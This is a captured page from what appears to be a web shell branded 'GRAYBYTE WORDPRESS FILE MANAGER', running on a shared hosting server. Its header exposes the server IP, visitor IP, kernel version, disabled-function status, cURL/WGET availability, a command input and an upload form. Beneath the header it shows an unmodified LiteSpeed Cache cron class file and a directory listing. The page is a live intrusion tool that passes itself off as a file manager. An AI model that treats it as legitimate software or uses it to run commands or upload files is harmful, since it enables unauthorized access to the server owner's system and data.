GRAYBYTE WORDPRESS FILE MANAGER2685

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/src/litespeed-wp-plugin/7.2/litespeed-cache/src/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/src/litespeed-wp-plugin/7.2/litespeed-cache/src//task.cls.php
<?php

/**
 * The cron task class.
 *
 * @since       1.1.3
 * @since       1.5 Moved into /inc
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class Task extends Root {

	const LOG_TAG             = '⏰';
	private static $_triggers = array(
		Base::O_IMG_OPTM_CRON => array(
			'name' => 'litespeed_task_imgoptm_pull',
			'hook' => 'LiteSpeed\Img_Optm::start_async_cron',
		), // always fetch immediately
		Base::O_OPTM_CSS_ASYNC => array(
			'name' => 'litespeed_task_ccss',
			'hook' => 'LiteSpeed\CSS::cron_ccss',
		),
		Base::O_OPTM_UCSS => array(
			'name' => 'litespeed_task_ucss',
			'hook' => 'LiteSpeed\UCSS::cron',
		),
		Base::O_MEDIA_VPI_CRON => array(
			'name' => 'litespeed_task_vpi',
			'hook' => 'LiteSpeed\VPI::cron',
		),
		Base::O_MEDIA_PLACEHOLDER_RESP_ASYNC => array(
			'name' => 'litespeed_task_lqip',
			'hook' => 'LiteSpeed\Placeholder::cron',
		),
		Base::O_DISCUSS_AVATAR_CRON => array(
			'name' => 'litespeed_task_avatar',
			'hook' => 'LiteSpeed\Avatar::cron',
		),
		Base::O_IMG_OPTM_AUTO => array(
			'name' => 'litespeed_task_imgoptm_req',
			'hook' => 'LiteSpeed\Img_Optm::cron_auto_request',
		),
		Base::O_CRAWLER => array(
			'name' => 'litespeed_task_crawler',
			'hook' => 'LiteSpeed\Crawler::start_async_cron',
		), // Set crawler to last one to use above results
	);

	private static $_guest_options = array( Base::O_OPTM_CSS_ASYNC, Base::O_OPTM_UCSS, Base::O_MEDIA_VPI );

	const FILTER_CRAWLER = 'litespeed_crawl_filter';
	const FILTER         = 'litespeed_filter';

	/**
	 * Keep all tasks in cron
	 *
	 * @since 3.0
	 * @access public
	 */
	public function init() {
		self::debug2('Init');
		add_filter('cron_schedules', array( $this, 'lscache_cron_filter' ));

		$guest_optm = $this->conf(Base::O_GUEST) && $this->conf(Base::O_GUEST_OPTM);

		foreach (self::$_triggers as $id => $trigger) {
			if ($id == Base::O_IMG_OPTM_CRON) {
				if (!Img_Optm::need_pull()) {
					continue;
				}
			} elseif (!$this->conf($id)) {
				if (!$guest_optm || !in_array($id, self::$_guest_options)) {
					continue;
				}
			}

			// Special check for crawler
			if ($id == Base::O_CRAWLER) {
				if (!Router::can_crawl()) {
					continue;
				}

				add_filter('cron_schedules', array( $this, 'lscache_cron_filter_crawler' ));
			}

			if (!wp_next_scheduled($trigger['name'])) {
				self::debug('Cron hook register [name] ' . $trigger['name']);

				wp_schedule_event(time(), $id == Base::O_CRAWLER ? self::FILTER_CRAWLER : self::FILTER, $trigger['name']);
			}

			add_action($trigger['name'], $trigger['hook']);
		}
	}

	/**
	 * Handle all async noabort requests
	 *
	 * @since 5.5
	 */
	public static function async_litespeed_handler() {
		$hash_data = self::get_option('async_call-hash', array());
		if (!$hash_data || !is_array($hash_data) || empty($hash_data['hash']) || empty($hash_data['ts'])) {
			self::debug('async_litespeed_handler no hash data', $hash_data);
			return;
		}
		if (time() - $hash_data['ts'] > 120 || empty($_GET['nonce']) || $_GET['nonce'] != $hash_data['hash']) {
			self::debug('async_litespeed_handler nonce mismatch');
			return;
		}
		self::delete_option('async_call-hash');

		$type = Router::verify_type();
		self::debug('type=' . $type);

		// Don't lock up other requests while processing
		session_write_close();
		switch ($type) {
			case 'crawler':
            Crawler::async_handler();
				break;
			case 'crawler_force':
            Crawler::async_handler(true);
				break;
			case 'imgoptm':
            Img_Optm::async_handler();
				break;
			case 'imgoptm_force':
            Img_Optm::async_handler(true);
				break;
			default:
		}
	}

	/**
	 * Async caller wrapper func
	 *
	 * @since 5.5
	 */
	public static function async_call( $type ) {
		$hash = Str::rrand(32);
		self::update_option('async_call-hash', array(
			'hash' => $hash,
			'ts' => time(),
		));
		$args = array(
			'timeout' => 0.01,
			'blocking' => false,
			'sslverify' => false,
			// 'cookies'   => $_COOKIE,
		);
		$qs  = array(
			'action' => 'async_litespeed',
			'nonce' => $hash,
			Router::TYPE => $type,
		);
		$url = add_query_arg($qs, admin_url('admin-ajax.php'));
		self::debug('async call to ' . $url);
		wp_safe_remote_post(esc_url_raw($url), $args);
	}

	/**
	 * Clean all potential existing crons
	 *
	 * @since 3.0
	 * @access public
	 */
	public static function destroy() {
		Utility::compatibility();
		array_map('wp_clear_scheduled_hook', array_column(self::$_triggers, 'name'));
	}

	/**
	 * Try to clean the crons if disabled
	 *
	 * @since 3.0
	 * @access public
	 */
	public function try_clean( $id ) {
		// Clean v2's leftover cron ( will remove in v3.1 )
		// foreach ( wp_get_ready_cron_jobs() as $hooks ) {
		// foreach ( $hooks as $hook => $v ) {
		// if ( strpos( $hook, 'litespeed_' ) === 0 && ( substr( $hook, -8 ) === '_trigger' || strpos( $hook, 'litespeed_task_' ) !== 0 ) ) {
		// self::debug( 'Cron clear legacy [hook] ' . $hook );
		// wp_clear_scheduled_hook( $hook );
		// }
		// }
		// }

		if ($id && !empty(self::$_triggers[$id])) {
			if (!$this->conf($id) || ($id == Base::O_CRAWLER && !Router::can_crawl())) {
				self::debug('Cron clear [id] ' . $id . ' [hook] ' . self::$_triggers[$id]['name']);
				wp_clear_scheduled_hook(self::$_triggers[$id]['name']);
			}
			return;
		}

		self::debug('❌ Unknown cron [id] ' . $id);
	}

	/**
	 * Register cron interval imgoptm
	 *
	 * @since 1.6.1
	 * @access public
	 */
	public function lscache_cron_filter( $schedules ) {
		if (!array_key_exists(self::FILTER, $schedules)) {
			$schedules[self::FILTER] = array(
				'interval' => 60,
				'display' => __('Every Minute', 'litespeed-cache'),
			);
		}
		return $schedules;
	}

	/**
	 * Register cron interval
	 *
	 * @since 1.1.0
	 * @access public
	 */
	public function lscache_cron_filter_crawler( $schedules ) {
		$CRAWLER_RUN_INTERVAL = defined('LITESPEED_CRAWLER_RUN_INTERVAL') ? LITESPEED_CRAWLER_RUN_INTERVAL : 600;
		// $wp_schedules = wp_get_schedules();
		if (!array_key_exists(self::FILTER_CRAWLER, $schedules)) {
			// self::debug('Crawler cron log: cron filter '.$interval.' added');
			$schedules[self::FILTER_CRAWLER] = array(
				'interval' => $CRAWLER_RUN_INTERVAL,
				'display' => __('LiteSpeed Crawler Cron', 'litespeed-cache'),
			);
		}
		return $schedules;
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
January 01 1970 00:00:00
root / root
0
cdn
--
June 18 2025 22:15:22
root / root
0755
data_structure
--
June 18 2025 22:15:22
root / root
0755
activation.cls.php
15.062 KB
June 18 2025 22:15:22
root / root
0644
admin-display.cls.php
35.741 KB
June 18 2025 22:15:22
root / root
0644
admin-settings.cls.php
10.949 KB
June 18 2025 22:15:22
root / root
0644
admin.cls.php
4.467 KB
June 18 2025 22:15:22
root / root
0644
api.cls.php
11.521 KB
June 18 2025 22:15:22
root / root
0644
avatar.cls.php
6.12 KB
June 18 2025 22:15:22
root / root
0644
base.cls.php
32.756 KB
June 18 2025 22:15:22
root / root
0644
cdn.cls.php
13.223 KB
June 18 2025 22:15:22
root / root
0644
cloud.cls.php
54.285 KB
June 18 2025 22:15:22
root / root
0644
conf.cls.php
17.387 KB
June 18 2025 22:15:22
root / root
0644
control.cls.php
21.249 KB
June 18 2025 22:15:22
root / root
0644
core.cls.php
20.158 KB
June 18 2025 22:15:22
root / root
0644
crawler-map.cls.php
14.891 KB
June 18 2025 22:15:22
root / root
0644
crawler.cls.php
41.71 KB
June 18 2025 22:15:22
root / root
0644
css.cls.php
15.251 KB
June 18 2025 22:15:22
root / root
0644
data.cls.php
17.981 KB
June 18 2025 22:15:22
root / root
0644
data.upgrade.func.php
23.384 KB
June 18 2025 22:15:22
root / root
0644
db-optm.cls.php
10.157 KB
June 18 2025 22:15:22
root / root
0644
debug2.cls.php
13.169 KB
June 18 2025 22:15:22
root / root
0644
doc.cls.php
4.732 KB
June 18 2025 22:15:22
root / root
0644
error.cls.php
7.487 KB
June 18 2025 22:15:22
root / root
0644
esi.cls.php
27.166 KB
June 18 2025 22:15:22
root / root
0644
file.cls.php
10.526 KB
June 18 2025 22:15:22
root / root
0644
gui.cls.php
27.776 KB
June 18 2025 22:15:22
root / root
0644
health.cls.php
2.901 KB
June 18 2025 22:15:22
root / root
0644
htaccess.cls.php
24.13 KB
June 18 2025 22:15:22
root / root
0644
img-optm.cls.php
65.273 KB
June 18 2025 22:15:22
root / root
0644
import.cls.php
4.18 KB
June 18 2025 22:15:22
root / root
0644
import.preset.cls.php
5.481 KB
June 18 2025 22:15:22
root / root
0644
lang.cls.php
14.913 KB
June 18 2025 22:15:22
root / root
0644
localization.cls.php
3.42 KB
June 18 2025 22:15:22
root / root
0644
media.cls.php
33.177 KB
June 18 2025 22:15:22
root / root
0644
metabox.cls.php
4.262 KB
June 18 2025 22:15:22
root / root
0644
object-cache.cls.php
16.487 KB
June 18 2025 22:15:22
root / root
0644
object.lib.php
34.132 KB
June 18 2025 22:15:22
root / root
0644
optimize.cls.php
37.19 KB
June 18 2025 22:15:22
root / root
0644
optimizer.cls.php
9.486 KB
June 18 2025 22:15:22
root / root
0644
placeholder.cls.php
14.258 KB
June 18 2025 22:15:22
root / root
0644
purge.cls.php
30.847 KB
June 18 2025 22:15:22
root / root
0644
report.cls.php
6.189 KB
June 18 2025 22:15:22
root / root
0644
rest.cls.php
7.519 KB
June 18 2025 22:15:22
root / root
0644
root.cls.php
12.841 KB
June 18 2025 22:15:22
root / root
0644
router.cls.php
19.943 KB
June 18 2025 22:15:22
root / root
0644
str.cls.php
2.454 KB
June 18 2025 22:15:22
root / root
0644
tag.cls.php
9.274 KB
June 18 2025 22:15:22
root / root
0644
task.cls.php
6.136 KB
June 18 2025 22:15:22
root / root
0644
tool.cls.php
3.409 KB
June 18 2025 22:15:22
root / root
0644
ucss.cls.php
14.313 KB
June 18 2025 22:15:22
root / root
0644
utility.cls.php
20.819 KB
June 18 2025 22:15:22
root / root
0644
vary.cls.php
20.175 KB
June 18 2025 22:15:22
root / root
0644
vpi.cls.php
7.261 KB
June 18 2025 22:15:22
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF